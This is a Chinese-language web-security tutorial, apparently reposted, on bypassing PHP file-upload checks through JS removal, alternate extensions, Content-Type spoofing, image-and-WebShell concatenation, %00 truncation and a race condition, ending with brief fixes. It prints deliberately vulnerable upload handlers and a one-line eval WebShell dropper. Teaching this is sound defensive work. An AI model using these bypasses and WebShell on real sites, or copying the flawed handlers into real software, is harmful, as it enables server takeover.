文件上傳限制條件(JS、后綴、文件名、類型、截斷)繞過及修復建議


在現代互聯網的Web應用程序中,上傳文件是一 種常見的功能,因為它有助於提高業務效率,比如企業的OA系統,允許用戶上傳圖片、視頻、頭像和許多其他類型的文件。然而向用戶提供的功能越多,Web應用受到攻擊的風險就越大,如果Web應用存在文件上傳漏洞,那么惡意用戶就可以利用文件上傳漏洞將可執行腳本程序上傳到服務器中,獲得網站的權限,或者進一步危害服務器。
上傳文件時,如果服務端代碼末對客戶端上傳的文件進行嚴格的驗證和過濾,就容易造成可以上傳任意文件的情況,包括上傳腳本文件(asp、 aspx、 php、 jsp等格式的文件)。
非法用戶可以利用上傳的惡意腳本文件控制整個網站,甚至控制服務器。這個惡意的腳本文件,又被稱為WebShell,也可將WebShel腳本稱為一種網頁后門,WebShel腳本具有非常強大的功能,比如查看服務器目錄、服務器中的文件,執行系統命令等。


JS檢測繞過攻擊

JS檢測繞過上傳漏洞常見於用戶選擇文件上傳的場景,如果上傳文件的后綴不被允許,則會彈框告知,此時上傳文件的數據包並沒有發送到服務端,只是在客戶端瀏覽器使用JavaScript對數據包進行檢測。
這時有兩種方法可以繞過客戶端JavaScript的檢測。

  • 使用瀏覽器的插件,刪除檢測文件后綴的JS代碼,然后上傳文件即可繞過。
  • 首先把需要上傳文件的后綴改成允許上傳的,如jpg、png等,繞過JS的檢測,再抓包,把后綴名改成可執行文件的后綴即可上傳成功,如下圖所示。

客戶端上傳文件的HTML代碼如下所示,在選擇文件時,會調用JS的selectFile函數,函數的作用是先將文件名轉換為小寫,然后通過substr獲取文件名最后一個點號后面的后綴(包括點號)。如果后綴不是"jpg" ,則會彈框提示“請選擇jpg格式的照片上傳”。

<html>
<head>
<meta charset="utf-8">
<title>JS檢查文件后綴</title>
</head>
<body>

<script type="text/javascript">
	function selectFile(fnUpload) {
		var filename = fnUpload.value; 
		var mime = filename.toLowerCase().substr(filename.lastIndexOf(".")); 
		if(mime!=".jpg") 
		{ 
			alert("請選擇jpg格式的照片上傳"); 
			fnUpload.outerHTML=fnUpload.outerHTML; 
		}
	}
</script>

<form action="upload.php" method="post" enctype="multipart/form-data">
<label for="file">Filename:</label>
<input type="file" name="file" id="file" onchange="selectFile(this)" /> 
<br />
<input type="submit" name="submit" value="submit" />
</form>

</body>
</html>

服務端處理上傳文件的代碼如下所示。如果上傳文件沒出錯,再通過file_exists判斷在upload目錄下文件是否已存在,不存在的話就通過move_uploaded file將文件保存到upload目錄。此PHP代碼中沒有對文件后綴做任何判斷,所以只需要繞過前端JS的校驗就可以上傳WebShell.

<?php

  if ($_FILES["file"]["error"] > 0)
    {
    echo "Return Code: " . $_FILES["file"]["error"] . "<br />";
    }
  else
    {
    echo "Upload: " . $_FILES["file"]["name"] . "<br />";
    echo "Type: " . $_FILES["file"]["type"] . "<br />";
    echo "Size: " . ($_FILES["file"]["size"] / 1024) . " Kb<br />";
    echo "Temp file: " . $_FILES["file"]["tmp_name"] . "<br />";

    if (file_exists("upload/" . $_FILES["file"]["name"]))
      {
      echo $_FILES["file"]["name"] . " already exists. ";
      }
    else
      {
      move_uploaded_file($_FILES["file"]["tmp_name"],
      "upload/" . $_FILES["file"]["name"]);
      echo "Stored in: " . "upload/" . $_FILES["file"]["name"];
      }
    }

?>

文件名后綴繞過攻擊

文件后綴繞過攻擊是服務端代碼中限制了某些后綴的文件不允許上傳,但是有些Apache是允許解析其他文件后綴的,例如在httpd.conf中, 如果配置有如下代碼,則能夠解析php和phtm|文件。
AddType application/x-httpd php.php.phtml
所以,可以上傳一個后綴為phtml的WebShell, 在Apache的解析順序中,是從右到左開始解析文件后綴的,如果最右側的擴展名不可識別,就繼續往左判斷,直到遇到可以解析的文件后綴為止,所以如果上傳的文件名類似1.php.xxxx,因為后綴xxxx不可以解析,所以向左解析后綴php。

服務端處理上傳文件的代碼如下所示。通過函數pathinfo () 獲取文件后綴,將后綴轉換為小寫后,判斷是不是"php" ,如果上傳文件的后綴是php,則不允許上傳,所以此處可以通過利用Apache解析順序或上傳phtml等后綴的文件繞過該代碼限制。

<?php

  if ($_FILES["file"]["error"] > 0)
    {
    echo "Return Code: " . $_FILES["file"]["error"] . "<br />";
    }
  else
    {

    $info=pathinfo($_FILES["file"]["name"]);
    $ext=$info['extension'];//得到文件擴展名

    if (strtolower($ext) == "php") {
            exit("不允許的后綴名");
          }      

    echo "Upload: " . $_FILES["file"]["name"] . "<br />";
    echo "Type: " . $_FILES["file"]["type"] . "<br />";
    echo "Size: " . ($_FILES["file"]["size"] / 1024) . " Kb<br />";
    echo "Temp file: " . $_FILES["file"]["tmp_name"] . "<br />";

    if (file_exists("upload/" . $_FILES["file"]["name"]))
      {
      echo $_FILES["file"]["name"] . " already exists. ";
      }
    else
      {
      move_uploaded_file($_FILES["file"]["tmp_name"],
      "upload/" . $_FILES["file"]["name"]);
      echo "Stored in: " . "upload/" . $_FILES["file"]["name"];
      }
    }

?>

文件類型繞過攻擊

在客戶端上傳文件時,通過Burp Suite抓取數據包,當上傳一個php格式的文件時,可以看到數據包中Content-Type的值是application/octet stream,而上傳jpg格式的文件時,數據包中Content Type的值是image/jpeg。


如果服務端代碼是通過Content-Type的值來判斷文件的類型,那么就存在被繞過的可能,因為Content-Type的值是通過客戶端傳遞的,是可以任意修改的。所以當上傳一個php文件時, 在Burp Suite中將Content-Type修改image/jpeg,就可以繞過服務端的檢測。

服務端處理上傳文件的代碼如下所示,服務端代碼判斷\(_FILES["file"]["type"]是不是圖片的格式(image/gif, image/jpeg, image/pjpeg),如果不是,則不允許上傳該文件,而\)_FILES["file"]["type"]是客戶端請求數據包中的Content-Type,所以可以通過修改Content-Type的值繞過該代碼限制。

<?php

  if ($_FILES["file"]["error"] > 0)
    {
    echo "Return Code: " . $_FILES["file"]["error"] . "<br />";
    }
  else
    {

   if (($_FILES["file"]["type"] != "image/gif") && ($_FILES["file"]["type"] != "image/jpeg") 
    && ($_FILES["file"]["type"] != "image/pjpeg")){
    exit($_FILES["file"]["type"]);
    exit("不允許的格式");
  }

    echo "Upload: " . $_FILES["file"]["name"] . "<br />";
    echo "Type: " . $_FILES["file"]["type"] . "<br />";
    echo "Size: " . ($_FILES["file"]["size"] / 1024) . " Kb<br />";
    echo "Temp file: " . $_FILES["file"]["tmp_name"] . "<br />";

    if (file_exists("upload/" . $_FILES["file"]["name"]))
      {
      echo $_FILES["file"]["name"] . " already exists. ";
      }
    else
      {
      move_uploaded_file($_FILES["file"]["tmp_name"],
      "upload/" . $_FILES["file"]["name"]);
      echo "Stored in: " . "upload/" . $_FILES["file"]["name"];
      }
    }

?>

在PHP中還存在一種相似的文件上傳漏洞,PHP函數getimagesize ()可以獲取圖片的寬、高等信息,如果上傳的不是圖片文件,那么getimagesize()就獲取不到信息,則不允許上傳,代碼如下所示。

<?php

  if ($_FILES["file"]["error"] > 0)
    {
    echo "Return Code: " . $_FILES["file"]["error"] . "<br />";
    }
  else
    {
      if(!getimagesize($_FILES["file"]["tmp_name"])){
        exit("不允許的文件");
      }


    echo "Upload: " . $_FILES["file"]["name"] . "<br />";
    echo "Type: " . $_FILES["file"]["type"] . "<br />";
    echo "Size: " . ($_FILES["file"]["size"] / 1024) . " Kb<br />";
    echo "Temp file: " . $_FILES["file"]["tmp_name"] . "<br />";

    if (file_exists("upload/" . $_FILES["file"]["name"]))
      {
      echo $_FILES["file"]["name"] . " already exists. ";
      }
    else
      {
      move_uploaded_file($_FILES["file"]["tmp_name"],
      "upload/" . $_FILES["file"]["name"]);
      echo "Stored in: " . "upload/" . $_FILES["file"]["name"];
      }
    }

?>

但是,我們可以將一個圖片和一 個WebShell合並為一個文件,例如使用以下命令。
cat image.png webslell.php > image.php
此時,使用getimagesize () 就可以獲取圖片信息,且WebShell的后綴是php,也能被Apache解析為腳本文件,通過這種方式就可以繞過getimagesize()的限制。

文件截斷繞過攻擊

截斷類型:PHP %00截斷。
截斷原理:由於00代表結束符,所以會把00后面的所有字符刪除。
截斷條件: PHP版本小於5.3.4,PHP的magic_quotes_gpc為OFF狀態。
如圖所示,在上傳文件時,服務端將GET參數jieduan的內容作為上傳后文件名的第一部分,然后將按時間生成的圖片文件名作為上傳后文件名的第二部分。

修改參數jieduan為1.php%00.jpg,文件被保存到服務器時,%00會把"jpg"和按時間生成的圖片文件名全部截斷,那么文件名就剩下1.php,因此成功上傳了WebShel腳本。

服務端處理上傳文件的代碼如下所示,程序使用substr獲取文件的后綴,然后判斷后綴是否是flv、swf、mp3、mp4、3gp、zip、rar、gif、jpg、png、bmp中的一種,如果不是,則不允許上傳該文件。但是在保存的路徑中有$_REQUEST['jieduan'],那么此處可以利用00截斷嘗試繞過服務端限制。

<?php
error_reporting(0);

    $ext_arr = array('flv','swf','mp3','mp4','3gp','zip','rar','gif','jpg','png','bmp');
    $file_ext = substr($_FILES['file']['name'],strrpos($_FILES['file']['name'],".")+1);
    //exit($_FILES['file']['name']);
    if(in_array($file_ext,$ext_arr))
    {
        $tempFile = $_FILES['file']['tmp_name'];
        // 這句話的$_REQUEST['jieduan']造成可以利用截斷上傳
        $targetPath = "upload/".$_REQUEST['jieduan'].rand(10, 99).date("YmdHis").".".$file_ext;
        if(move_uploaded_file($tempFile,$targetPath))
        {
            echo '上傳成功'.'<br>';
            echo '路徑:'.$targetPath;
        }
        else
        {
            echo("上傳失敗");
        }

    }
else
{
    echo("不允許的后綴");
}

?>

在多數情況下,截斷繞過都是用在文件名后面加上HEX形式的%00來測試,例如filename='1.php%00jpg',但是由於在php中,$ FILES['file']['name']在得到文件名時,%00之后的內容已經被截斷了,所以\(_FILES['file']['name'] 得到的后綴是php,而不是php%00.jpg, 因而此時不能通過if(in_array(\)file_ext, $ext_arr))的檢查。

競爭條件攻擊

一些網站上傳文件的邏輯是先允許上傳任意文件,然后檢查上傳的文件是否包含WebShel腳本,如果包含則刪除該文件。這里存在的問題是文件上傳成功后和刪除文件之間存在一個短的時間差(因為要執行檢查文件和刪除文件的操作),攻擊者就可以利用這個時間差完成競爭條件的上傳漏洞攻擊。攻擊者先上傳一個WebShel腳本10.php, 10.php的內容是生成一個新的WebShelI腳本shell.php, 10.php的代碼如下所示。

<?php
fputs (fopen ('../shell.php', 'w'),'<?php @eval ($_POST[a]) ?>') ;
?>

當10.php上傳成功后,客戶端立即訪問10.php,則會在服務端當前目錄下自動生成shell.php,這時攻擊者就利用時間差完成了WebShell的上傳。

<?php

  if ($_FILES["file"]["error"] > 0)
    {
    echo "Return Code: " . $_FILES["file"]["error"] . "<br />";
    }
  else
    {

    echo "Upload: " . $_FILES["file"]["name"] . "<br />";
    echo "Type: " . $_FILES["file"]["type"] . "<br />";
    echo "Size: " . ($_FILES["file"]["size"] / 1024) . " Kb<br />";
    echo "Temp file: " . $_FILES["file"]["tmp_name"] . "<br />";

    if (file_exists("upload/" . $_FILES["file"]["name"]))
      {
      echo $_FILES["file"]["name"] . " already exists. ";
      }
    else
      {
      move_uploaded_file($_FILES["file"]["tmp_name"],
      "upload/" . $_FILES["file"]["name"]);
      echo "Stored in: " . "upload/" . $_FILES["file"]["name"];
      //為了說明,這里直接讓程序sleep 10s。
      sleep("10");
      unlink("upload/" . $_FILES["file"]["name"]);

      }
    }

?>

程序獲取文件$_FILES ["file"] ["name"] 的代碼如上,先判斷upload目錄下是否存在相同的文件,如果不存在,則直接上傳文件,在判斷文件是否為WebShell時,還有刪除WebShell時,都是需要時間來執行的,如果我們能在刪除文件前就訪問該WebShell,那么會創建一個新的WebShell,從而繞過該代碼限制。

文件上傳修復建議

  • 通過白名單的方式判斷文件后綴是否合法。
  • 對上傳后的文件進行重命名,例如rand(10, 99).date("YmdHis")."jpg"。


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM